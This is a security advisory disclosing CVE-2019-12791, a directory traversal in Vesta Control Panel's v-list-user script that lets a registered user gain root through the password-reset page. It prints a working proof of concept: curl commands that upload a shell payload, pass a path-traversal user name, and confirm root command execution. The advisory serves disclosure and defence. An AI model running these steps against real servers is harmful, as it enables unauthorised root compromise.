Andrea Cardaci — 12 August 2019
| Discovered | 2019-04-17 |
| Author | Andrea Cardaci |
| Product | Vesta Control Panel |
| Tested versions | 0.9.8-24 |
| CVE | CVE-2019-12791 |
The insufficient input sanitization used by the v-list-user shell utility allows to perform directory traversal and execute shell files as root anywhere in the file system but with a fixed file name.
This coupled with the legitimate ability of registered users to upload files in certain locations on the server grants an attacker the ability to perform privilege escalation from a registered user to root by simply requesting a password reset.
HestiaCP (an actively maintained fork of VestaCP) version 1.0.4 is also vulnerable but a fix has been promptly deployed in version 1.0.5.
The v-list-user script accepts an user name as an argument then evaluates the $VESTA/data/users/$user/user.conf file and prints some values:1
source $VESTA/data/users/$user/user.conf
The only check that is performed against the user name is is_object_valid 'user' 'USER' "$user" which basically checks that the path $VESTA/data/users/$user is a valid directory. So if ../../../../../tmp is passed as user name then the file /tmp/user.conf is evaluated.2
A registered user can upload files on the server using the /upload/ endpoint. The following is used to upload the proof script to /tmp/user.conf:
$ PHPSESSID=... # grab it from an authenticated regular user session
$ COMMAND='id > /usr/local/vesta/web/proof'
$ echo "$COMMAND" | curl -sk -o /dev/null \
'https://target.com:8083/upload/?dir=/tmp' \
-b "PHPSESSID=$PHPSESSID" \
-F 'files=@-;filename=user.conf'
It is then possible to invoke the v-list-user utility by requesting a password reset:
$ curl -k https://target.com:8083/reset/ -d 'user=../../../../../tmp'
In VestaCP the web server is run by the admin user and the password reset page executes the v-list-user script with sudo thus the user.conf is evaluated by root.
Check that the proof file is created in the web server root:
$ curl -k https://target.com:8083/proof
uid=0(root) gid=0(root) groups=0(root)